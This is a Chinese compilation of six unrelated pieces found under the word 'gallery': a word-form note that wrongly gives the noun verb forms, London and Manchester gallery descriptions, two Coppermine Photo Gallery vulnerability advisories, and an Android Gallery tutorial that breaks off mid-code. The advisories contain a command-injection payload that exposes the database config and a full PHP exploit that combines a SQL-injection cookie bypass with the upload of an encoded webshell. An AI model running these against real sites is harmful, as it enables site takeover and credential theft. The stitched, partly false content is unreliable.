gallery是什么意思（共6篇）由网友“一往情深”投稿提供，下面就是小编给大家整理后的gallery是什么意思，希望您能喜欢！
篇1：gallery是什么意思
gallery的时态词形变化
gallery的复数形式是galleries，过去式形式是galleried，过去分词形式是galleried，现在分词形式是gallerying。
篇2：伦敦国家美术馆 National Gallery
the national gallery houses one of the greatest collections of european painting in the world. with paintings ranging from 1250 to 1900， the collection includes work by botticelli， leonardo da vinci， rembrandt， gainsborough， turner， cezanne and van gogh.
address： trafalgar square londonwc2n 5dn
tel： （020） 7747 2885
email： information@ng-london.org.uk
web： www.nationalgallery.org.uk
opening times： open daily 1000-1800， wed 1000-2100. closed 24-26 dec ， 1 jan
prices： 1990-1-1 to -1-1 free
国家美术馆the national gallery 馆藏着欧洲大部分的绘画。范围从1250年到19，收藏了很多名家作品，像波蒂切里（botticelli），达芬奇（leonardo da vinci），伦布兰特（rembrandt），庚斯博罗（gainsborough），特纳（turner），塞尚（cezanne）和梵高（van gogh）。
篇3：曼城 Art Gallery 艺术展览馆
manchester art gallery reopened in a mixture of refurbishment and new build. the design practice of michael hopkins played it cool. here you'll find the architecture of good manners， a masterpiece of understated elegance.
two of the three parts are original by charles barry - the architect of the houses of parliament. the first on mosley street is the result of a competition barry won， when 29 years old， in 1824 to design a suitable space for the newly formed manchester institution for the promotion of literature， science & arts. the design reflects barry's travels in greece a few years before and is a sweet example of the hellenic style then in fashion. the central feature is the portico between recessed bays. barry’s motto was 'nihil pulchrun nisi utile’ which means 'nothing beautiful unless useful’。 the building became the city art gallery in 1882， the sale terms requiring an annual ?? spend on new works.
round the corner on princess street is the former athenaeum by barry again， now part of the gallery. this is an important building for the city. it opened in 1837 as a gentleman's club and here barry introduced the italian renaissance style to the city and it proved popular. in the streets all around former warehouses and commercial premises were built in the so-called ’palazzo' style. for many years the athenaeum was a centre of manchester cultural life witnessing lectures from individuals such as charles dickens and john ruskin. take note of the beautifully crisps script beneath the cornice.
the third part of the site comprises the clean spaces of the new building from michael hopkins associates. through skilful lighting and a specially formulated concrete these defer to the art they contain with good grace. perhaps the highlight of the new work is the blissful glass atrium knitting the three parts and providing stairs， lifts and access. the bond between the textures of barry's sandstone and the modern glass is seamless： as good an example of contemporary craftsmanship as can be found.
visitors enter via mosley street， as barry intended. immediately you find yourself in the hall with， high above， the replica elgin marbles given by george iv in 1830. the ground floor contains the cafe， restaurant， shop and the cis manchester gallery devoted to the city's achievements in art and design both past and present. also in this area is the men-sponsored exhibitions gallery with an emphasis on bringing art and community together.
the first floor houses the permanent collection. the rooms move clockwise from the c18 and include works from stubbs， gainsborough， claude lorrain， canaletto， constable， turner， pisarro， gauguin， august rodin and others. you'll also find in these rooms one of the nation’s best collections of pre-raphaelite art： with holman hunt's hireling shepherd， john everett millais’ autumn leaves. rossetti's remarkable astarte syriaca and ford madox brown’s masterpiece work.
the new building contains a collection of british c20 art with works from stanley spencer， lucien freud， francis bacon， david hockney and bridget riley. here also is the space for visiting exhibitions， large enough to attract the best internationally. the ground floor areas provide educational space. the first floor area between the new building and the athenaeum contains the clore interactive gallery aimed at 5-12 year olds and their families.
the athenaeum's most dramatic space is the former lecture hall， built in 1873 by the firm of clegg and knowles when the building was rejigged. this double height space boasts splendid plasterwork including female personifications of the arts， humanities， science and industry and houses the gallery of craft and design. this contains an international collection of a thousand plus objects including ceramics， glass， metalwork， furniture， costumes， textiles， toys， dolls houses and even armour. the oldest dates from 1000bc and the most recent from c21. there are three themes： making， memory and collecting and works from picasso， rene lalique， faberge and terence conran.
elsewhere in the atheneaum， the city's collection of pre-1700 art， including work from renaissance and dutch masters is displayed.
篇4：Coppermine Photo Gallery远程命令执行漏洞
受影响系统：
Coppermine Photo Gallery 1.4.14
经测试 <1.4.14的很多版本通用
不受影响系统：
Coppermine Photo Gallery 1.4.15
描述：
BUGTRAQ ID: 27512
Coppermine是用PHP编写的多用途集成web图形库脚本，
Coppermine在处理用户请求时存在输入验证漏洞，远程攻击者可能利用此漏洞在用户系统上执行任意命令。
Coppermine的include/imageObjectIM.class.php文件中没有正确地验证用户所提交的quality、angle和clipval POST变量。在ImageMagick的包装函数中：
--------------------------------------
function rotateImage(&$angle){
...
$imgFile = escapeshellarg(“$this->directory$this->filename”);
...
$cmd = “{$CONFIG['impath']}convert -quality {$this->quality}
{$CONFIG['im_options']} -rotate $angle $imgFile $imgFile”;
exec ($cmd, $output, $retval);
-------------------------------------
可见未经过滤便在命令行中使用了$angle变量。在picEditor.php文件的123行：
-------------------------------------
...
$newimage = $_POST['newimage'];
...
if ($newimage){
$imgObj = new imageObject($img_dir,$newimage);
...
if ($imgObj->imgRes){
...
if ($_POST['angle']0){
$imgObj = $imgObj->rotateImage($_POST['angle']);
}
-------------------------------------
因此如果提交了正确的$_POST['newimage']和$_POST['angle']，就会导致注入shell命令，
利用方法：
name=“angle” value=“180;cp include/config.inc.php include/secret.txt;”>
把数据库config.inc.php文件显示在secret.txt文件里
本人以前有写此漏洞的利用工具 地址：
hi.baidu.com/qq%B0%C9/blog/item/88e2a1ef03b95b1efdfa3cb4.html
Coppermine：目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：downloads.sourceforge.net/coppermine/cpg1.4.15.zip
篇5：Coppermine Photo Gallery任意命令执行漏洞
漏洞说明：Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序，但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点，
漏洞厂商：coppermine-gallery.net/
漏洞发现：www.80sec.com
漏洞危害：高
漏洞来源：www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt
漏洞分析：
Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下：
$HTML_SUBST = array('&' =>'&', '“' =>'”', '<' =>‘<’, ‘>’ =>‘>’, ‘%26′ =>‘&’, ‘%22′ =>‘“’, ‘%3C’ =>‘<’, ‘%3E’ =>‘>’,'%27′ =>‘'’, “‘” =>‘'’);
$keysToSkip = array(’_POST’, ‘_GET’, ‘_COOKIE’, ‘_REQUEST’, ‘_SERVER’, ‘HTML_SUBST’);
if (get_magic_quotes_gpc) {
if (is_array($_POST)) {
foreach ($_POST as $key =>$value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key =>$value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key =>$value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key =>$value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key =>$value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key =>$value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key =>$value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key =>$value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
}
可以看到对COOKIE中的数据没有做任何处理，然后在处理用户SESSION-COOKIE的地方/bridge/coppermine.inc.php
$sessioncookie = $_COOKIE[$this->client_id];
// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;
……
// Check for valid session if session_cookie_value exists
if ($sessioncookie) {
// Check for valid session
$sql = ’select user_id from ‘.$this->sessionstable.’ where session_id=md5(”‘.$session_id.’”);’;
对session_id的操作的md5是在SQL语句里的，所以可以轻易Bypass，分析数据库结果和认证机制可以得出exploit的COOKIE为：
”)union/**/select/**/1/*
只要提交如上COOKIE就可以获得管理员身份，然后就可以上传恶意文件得到站点权限
漏洞利用：80sec提供漏洞利用程序如下：
print_r(“
+------------------------------------------------------------------+
Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问 www.80sec.com
漏洞发现 jianxin#80sec.com
用法： php.exe exp.php www.80sec.com /cpg1416/
获得webshell地址在
www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)
+------------------------------------------------------------------+
”);
ini_set(“max_execution_time”,0);
error_reporting(7);
$blogpath=“$argv[2]”;
$server=“$argv[1]”;
$cookie='';
$evilzip=“UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=”;
$evilzip=base64_decode($evilzip);
$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name=“plugin”; filename=“c:\\1.zip”
Content-Type: application/x-zip-compressed
$evilzip
-----------------------------12345671234567
www_80sec_com;
$temp=send('',“index.php”);
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);
$cookiepre=$cookiepre[1][0];
if($cookiepre){
echo “Make Evil Data!\t\r\n”;
$cookie=$cookiepre.'='.urlencode('“)union/**/select/**/1/*;');
}
echo ”Make Evil Shell!\t\r\n“;
send($data,”pluginmgr.php?op=upload“,'multipart/form-data; boundary=---------------------------12345671234567');
$shell=”$server“.$blogpath.”plugins/loveshell.php“;
echo ”Look at $shell :)\r\n“;
echo ”Or login with cookie “.urlencode('”)union/**/select/**/1/*;').“\r\n”;
function send($cmd,$script,0='')
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;
0 ? $content=0 : $content=“application/x-www-form-urlencoded”;
$path=$blogpath.“$script”;
$message = “POST ”.$path.“ HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Referer: ”.$server.$path.“\r\n”;
$message .= “Content-Type: $content\r\n”;
$message .= “User-Agent: ”.$useragent.“\r\n”;
$message .= “Host: ”.$server.“\r\n”;
$message .= “Content-length: ”.strlen($cmd).“\r\n”;
$message .= “Connection: Keep-Alive\r\n”;
$message .= “Cookie: ”.$cookie.“\r\n”;
$message .= $evilip.“\r\n”;
$message .= $cmd.“\r\n”;
//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = “
”;
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .=“
“;
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>
漏洞修复：将认证放到php中处理，即将上述问题语句改为
$sql = 'select user_id from '.$this->sessionstable.” where session_id = '“ . md5($session_id) . ”'“;
本站内容均为原创，请务必保留署名与链接！
Coppermine Photo Gallery任意命令执行漏洞:www.80sec.com/coppermine-photo-gallery-exploit.html
篇6：android基础入门Gallery与ImageView视图
一.Gallery和ImageView视图：
Gallery是一种用固定在中间位置的水平滚动列表显示列表项的视图，
我们用到了ImageView.ScaleType属性，各类值得区别：
CENTER /center 按图片的原来size居中显示，当图片长/宽超过View的长/宽，则截取图片的居中部分显示
CENTER_CROP / centerCrop 按比例扩大图片的size居中显示，使得图片长(宽)等于或大于View的长(宽)
CENTER_INSIDE / centerInside 将图片的内容完整居中显示，通过按比例缩小或原来的size使得图片长/宽等于或小于View的长/宽
FIT_CENTER / fitCenter 把图片按比例扩大/缩小到View的宽度，居中显示
FIT_END / fitEnd 把图片按比例扩大/缩小到View的宽度，显示在View的下部分位置
FIT_START / fitStart 把图片按比例扩大/缩小到View的宽度，显示在View的上部分位置
FIT_XY / fitXY 把图片不按比例扩大/缩小到View的大小显示
MATRIX / matrix 用矩阵来绘制，动态缩小放大图片来显示。
布局文件：
自定义属性(attrs.xml)：
主要代码：
public class MainActivity extends Activity {
private ImageAdapter ad;
private Gallery gallery;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ad = new ImageAdapter(this);
gallery = (Gallery)findViewById(R.id.gallery1);
//绑定适配器
gallery.setAdapter(ad);
//设置 ，
gallery.setOnItemClickListener(new OnItemClickListener() {
@Override
public void onItemClick(AdapterView arg0, View arg1, int arg2,
long arg3) {
// TODO Auto-generated method stub
toastPrint(”img"+(arg2+1));
ImageView i = (ImageView)findViewById(R.id.image);
i.setImageResource(ad.imgId[arg2]);
}
});
}
public void toastPrint(String str){
Toast.makeText(this, str, Toast.LENGTH_SHORT).show();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
}
自定义适配器（Adapter）：
public class ImageAdapter extends BaseAdapter {
//显示的图片
Integer[] imgId = {R.drawable.img1,
R.drawable.img2,R.drawable.img3,
R.drawable.img4,R.drawable.img5,
R.drawable.img8,R.drawable.img9,};
Context context;
int item;
public ImageAdapter(Context c){
context = c;
//使用在resalue/attrs.xml中的Gallery1属性
TypedArray a = c.obtainStyledAttributes(R.styleable.Gallery1);
// 取得Gallery1属性
item = a.getResourceId(R.styleable.Gallery1_android_galleryItemBackground, 0);
//让对象的styleable属性能够反复使用
a.recycle();
}
//返回要显示的图片的总数
@Override
public int getCount() {
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